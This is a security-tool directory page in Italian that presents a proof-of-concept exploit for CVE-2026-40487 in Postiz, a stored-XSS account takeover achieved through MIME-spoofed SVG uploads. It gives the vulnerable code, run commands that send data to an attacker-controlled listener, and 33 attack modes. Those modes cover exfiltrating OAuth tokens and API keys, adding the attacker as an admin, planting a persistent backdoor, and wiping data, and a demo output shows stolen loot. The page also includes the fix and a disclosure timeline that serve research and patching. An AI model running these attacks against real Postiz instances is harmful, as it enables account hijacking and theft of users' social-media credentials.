Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-40487 — Proof-of-concept exploit per CVE-2026-40487, che dimostra il caricamento arbitrario di file tramite spoofing MIME che porta a XSS persistente e furto dell'account in Postiz. Include molteplici modalità di attacco per l'esfiltrazione dei dati, l'escalation dei privilegi e la persistenza. | Kitploit
Strumenti/GitHubGitHub/astaruf/cve-2026-40487
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration TestingSviluppo Payload
GitHubastaruf/cve-2026-40487

CVE-2026-40487

Vedi Repository
324 mesi faNon ancora revisionato
Sito web

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →

Informazioni

Proof-of-concept exploit per CVE-2026-40487, che dimostra il caricamento arbitrario di file tramite spoofing MIME che porta a XSS persistente e furto dell'account in Postiz. Include molteplici modalità di attacco per l'esfiltrazione dei dati, l'escalation dei privilegi e la persistenza.

Condividi

CVE-2026-40487 - Postiz <= 2.21.5 - Caricamento Arbitrario di File tramite Spoofing del MIME-Type per XSS Persistente fino al Furto dell'Account

Scoperta e segnalata da: Astaruf

Analisi completa: https://nstsec.com/en/posts/postiz-xss-cve-2026-40487/

Voce NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-40487

Voce GHSA: https://github.com/gitroomhq/postiz-app/security/advisories/GHSA-44wg-r34q-hvfx

Record CVE: https://www.cve.org/CVERecord?id=CVE-2026-40487


Riepilogo

Postiz è uno strumento open-source di gestione dei social media con oltre 28 integrazioni di piattaforme (Instagram, X, LinkedIn, Facebook, TikTok, ecc.), utilizzato da oltre 600 istanze esposte su internet.

Un attaccante con privilegi bassi può caricare un file SVG (o HTML) malevolo con un header Content-Type: image/png falsificato. Il server accetta il file senza ispezionarne il contenuto effettivo, preserva l'estensione originale, e nginx lo serve con il Content-Type derivato da quell'estensione (image/svg+xml). Quando una vittima apre l'URL, il JavaScript incorporato viene eseguito nell'origine dell'applicazione, dando all'attaccante piene capacità di dirottamento della sessione, equivalenti al furto dell'account.

La catena di attacco:

root@kitploit:~
L'attaccante carica .svg con Content-Type: image/png
  -> Il server valida solo l'header Content-Type (CWE-345)
    -> Il file viene salvato su disco con l'estensione .svg originale (CWE-434)
      -> nginx lo serve come image/svg+xml
        -> Il browser esegue il JavaScript incorporato (CWE-79)
          -> Stessa origine: accesso completo alla sessione della vittima

Impatto

Il payload XSS viene eseguito nella stessa origine dell'applicazione. Anche se il cookie di autenticazione è HttpOnly, fetch() con credentials: "include" lo allega automaticamente. L'attaccante può:

  • Esfiltrare il profilo della vittima, le chiavi API, i token OAuth per tutti gli account social collegati
  • Leggere, creare, modificare ed eliminare post programmati su tutte le piattaforme
  • Invitare l'attaccante come amministratore nell'organizzazione della vittima
  • Creare una backdoor OAuth persistente (token pos_* che non scade mai e sopravvive ai cambi di password)
  • Disabilitare le notifiche, cancellare le configurazioni, forzare il logout
  • Eseguire chiamate API autenticate arbitrarie come la vittima

Dettagli della Vulnerabilità

Tre componenti falliscono in modo indipendente, creando la catena di sfruttamento:

1. La Validazione del MIME-Type si Fida dell'Input del Client (CWE-345)

libraries/nestjs-libraries/src/upload/custom.upload.validation.ts:

root@kitploit:~
const validation =
  (value.mimetype.startsWith('image/') ||
    value.mimetype.startsWith('video/mp4')) &&
  value.size <= maxSize;

value.mimetype proviene dall'header Content-Type nella richiesta multipart, che l'attaccante controlla. Nessuna ispezione dei magic byte, nessun uso di librerie come file-type.

2. Estensione Originale Preservata su Disco (CWE-434)

libraries/nestjs-libraries/src/upload/local.storage.ts:

root@kitploit:~
const filePath = `${dir}/${randomName}${extname(file.originalname)}`;
writeFileSync(filePath, file.buffer);

extname(file.originalname) estrae l'estensione dal nome file fornito dal client. Nessun controllo di coerenza tra il tipo MIME dichiarato e l'estensione. Il server restituisce anche l'URL pubblico completo nella risposta, quindi l'attaccante ottiene il link da inviare alla vittima.

3. nginx Serve con Content-Type Derivato dall'Estensione

root@kitploit:~
http {
    include       /etc/nginx/mime.types;
    location /uploads/ {
        alias /uploads/;
    }
}

nginx mappa .svg a image/svg+xml, .html a text/html. Nessun Content-Security-Policy, nessun X-Content-Type-Options: nosniff, nessun Content-Disposition: attachment.

Prova di Concetto

Requisiti

root@kitploit:~
Python 3.8+
pip install requests

Avvio Rapido

root@kitploit:~
# 1. Verifica se il target è vulnerabile
python3 poc.py http://target:5000 -e [email protected] -p password --check

# 2. Esfiltra tutto dalla vittima
python3 poc.py http://target:5000 -e [email protected] -p password \
    --lhost YOUR_IP -a full-dump

# 3. Crea una backdoor persistente
python3 poc.py http://target:5000 -e [email protected] -p password \
    --lhost YOUR_IP -a create-oauth-app

# 4. Riusa il token senza credenziali
python3 poc.py http://target:5000 -t pos_XXXX...XXXX \
    --lhost YOUR_IP -a full-dump

Flusso di Attacco

root@kitploit:~
Attaccante                  Server Postiz              Vittima
    |                              |                        |
    |-- 1. Login/Registrazione --->|                        |
    |-- 2. Upload SVG malevolo --->|                        |
    |<---- URL del file -----------|                        |
    |-- 3. Invio URL alla vittima ------------------------> |
    |                              |<--- 4. Apre l'URL ----- |
    |                              |--- SVG + JS ---------> |
    |<-------------- 5. JS si esegue, esfiltra i dati ------|

Tutte le Modalità di Attacco (33)

Esfiltrazione (19 modalità) - ruba i dati della vittima
ModalitàDescrizione
dump-selfProfilo vittima, info organizzazione, tier, chiave API
dump-personalNome visualizzato, bio, foto profilo
dump-integrationsIntegrazioni social collegate e token
dump-postsPost programmati e bozze (ultimi 365 giorni)
dump-teamMembri del team, ruoli e indirizzi email
dump-mediaElenco della libreria multimediale
dump-notificationsCronologia notifiche
dump-signaturesFirme dei post
dump-webhooksWebhook configurati e i loro URL
dump-oauth-appCredenziali app OAuth (clientId, secret)
dump-copilotThread di conversazione del copilot AI
dump-billingInformazioni di fatturazione e abbonamento
dump-settingsImpostazioni shortlink e notifiche
dump-third-partyConfigurazioni integrazioni di terze parti
dump-autopostRegole di pubblicazione automatica
dump-setsSet di contenuti
dump-tagsTag dei post
dump-customersElenco clienti
full-dumpTutto quanto sopra in un singolo payload
Escalation dei Privilegi (3 modalità)
ModalitàDescrizione
add-adminInvita l'attaccante come ADMIN nell'organizzazione della vittima (--attacker-email)
rotate-keyRuota la chiave API dell'organizzazione e la esfiltra
rotate-oauthRuota il segreto dell'app OAuth e lo esfiltra
Sabotaggio (9 modalità) - azioni distruttive
ModalitàDescrizione
kill-notificationsDisabilita tutte le notifiche email
edit-profileModifica nome e bio della vittima (--edit-name, --edit-bio)
wipe-signaturesElimina tutte le firme dei post
wipe-webhooksElimina tutti i webhook
wipe-tagsElimina tutti i tag
wipe-setsElimina tutti i set di contenuti
wipe-autopostElimina tutte le regole di pubblicazione automatica
logout-victimForza il logout della vittima
delete-oauth-appElimina l'applicazione OAuth della vittima
Backdoor (2 modalità) - accesso persistente
ModalitàDescrizione
create-oauth-appCrea app OAuth, auto-approvazione, esfiltra token pos_* persistente (--oauth-redirect)
steal-cookieRuba il JWT di autenticazione tramite document.cookie (quando NOT_SECURED=true)
Generico (2 modalità) - avanzato
ModalitàDescrizione
api-callChiamata API autenticata arbitraria (--api-method, --api-path, --api-body)
customEsegue JavaScript arbitrario (--custom-js)

Opzioni Aggiuntive

OpzioneDescrizione
--checkSonda se il target è vulnerabile (nessun attacco eseguito)
--registerRegistra un nuovo account prima del login
-t / --tokenUsa chiave API o token pos_* invece delle credenziali
--format htmlUsa payload HTML invece di SVG
--proxyInstrada il traffico attraverso proxy HTTP/SOCKS (es. Burp Suite)
-o / --outputSalva il bottino in un file JSON

Demo

root@kitploit:~
$ python3 poc.py http://target:5000 -e [email protected] -p S3cret! --lhost 10.0.0.1 -a full-dump

 ██████╗██╗   ██╗███████╗        ██╗  ██╗  ██████╗  ██╗  ██╗  █████╗  ███████╗
██╔════╝██║   ██║██╔════╝        ██║  ██║ ██╔═████╗ ██║  ██║ ██╔══██╗ ╚════██║
██║     ██║   ██║█████╗   -2026- ███████║ ██║██╔██║ ███████║ ╚█████╔╝     ██╔╝
██║     ╚██╗ ██╔╝██╔══╝          ╚════██║ ████╔╝██║ ╚════██║ ██╔══██╗    ██╔╝
╚██████╗ ╚████╔╝ ███████╗             ██║ ╚██████╔╝      ██║ ╚█████╔╝    ██║
 ╚═════╝  ╚═══╝  ╚══════╝             ╚═╝  ╚═════╝       ╚═╝  ╚════╝     ╚═╝

  Postiz <= 2.21.5 — XSS Persistente tramite Upload di File con MIME Spoofato

[*] Accesso come [email protected] ...
[+] Autenticato.
[*] Generazione payload: Esfiltra tutto in un singolo payload
[*] Upload del .svg malevolo con Content-Type: image/png ...
[+] Upload riuscito.
    ID:   28c1daee-d83e-403e-bc1f-dba63182d4b0
    Path: http://target:5000/uploads/2026/04/15/4be19b2244eb.svg
[*] Avvio listener di esfiltrazione su 0.0.0.0:8888 ...

=================================================================
  Invia questo URL alla vittima:

  http://target:5000/uploads/2026/04/15/4be19b2244eb.svg

=================================================================

[*] In attesa che la vittima apra il link ...

[+] Bottino ricevuto @ 2026-04-15 03:45:41
    tag: victim-profile
    data: {"email":"[email protected]","orgId":"...","publicApi":"bd332945..."}

[+] Bottino ricevuto @ 2026-04-15 03:45:41
    tag: integrations
    data: [{"id":"...","providerIdentifier":"instagram","token":"IGQVJ..."}]

[+] Bottino ricevuto @ 2026-04-15 03:45:42
    tag: team-members
    data: [{"userId":"...","email":"[email protected]","role":"SUPERADMIN"}]
    ...

Correzione

La versione 2.21.6 ha introdotto tre modifiche:

  1. Validazione dei magic byte utilizzando la libreria file-type per ispezionare il contenuto effettivo del file
  2. Allowlist esplicita dei tipi MIME (niente più catch-all image/*)
  3. Override dell'estensione basato sul tipo di contenuto rilevato

Cronologia

DataEvento
2026-04-10Vulnerabilità scoperta durante la revisione del codice sorgente
2026-04-10Segnalata tramite GitHub Security Advisory (GHSA)
2026-04-10Gli sviluppatori hanno riconosciuto e richiesto chiarimenti
2026-04-10Forniti scenari di attacco dettagliati e dati Shodan
2026-04-11Contestazione CVSS presentata con prove
2026-04-13Correzione rilasciata nella v2.21.6
2026-04-14Assegnato CVE-2026-40487
2026-04-15Divulgazione pubblica

Riferimenti

  • Analisi completa di Astaruf
  • CVE-2026-40487 - GHSA Security Advisory
  • CVE-2026-40487 - Voce NVD
  • Postiz - Repository Ufficiale
  • Postiz v2.21.6 - Release di Correzione
  • CWE-345: Verifica Insufficiente dell'Autenticità dei Dati
  • CWE-434: Upload Non Restretto di File con Tipo Pericoloso
  • CWE-79: Cross-Site Scripting Persistente
  • OWASP - Upload di File Non Restretto

Disclaimer

Questo strumento è fornito esclusivamente per test di sicurezza autorizzati e scopi educativi. Usalo solo contro sistemi di tua proprietà o per i quali hai esplicita autorizzazione scritta. L'accesso non autorizzato a sistemi informatici è illegale. L'autore non si assume alcuna responsabilità per un uso improprio.

Licenza

MIT

Scarica lo strumento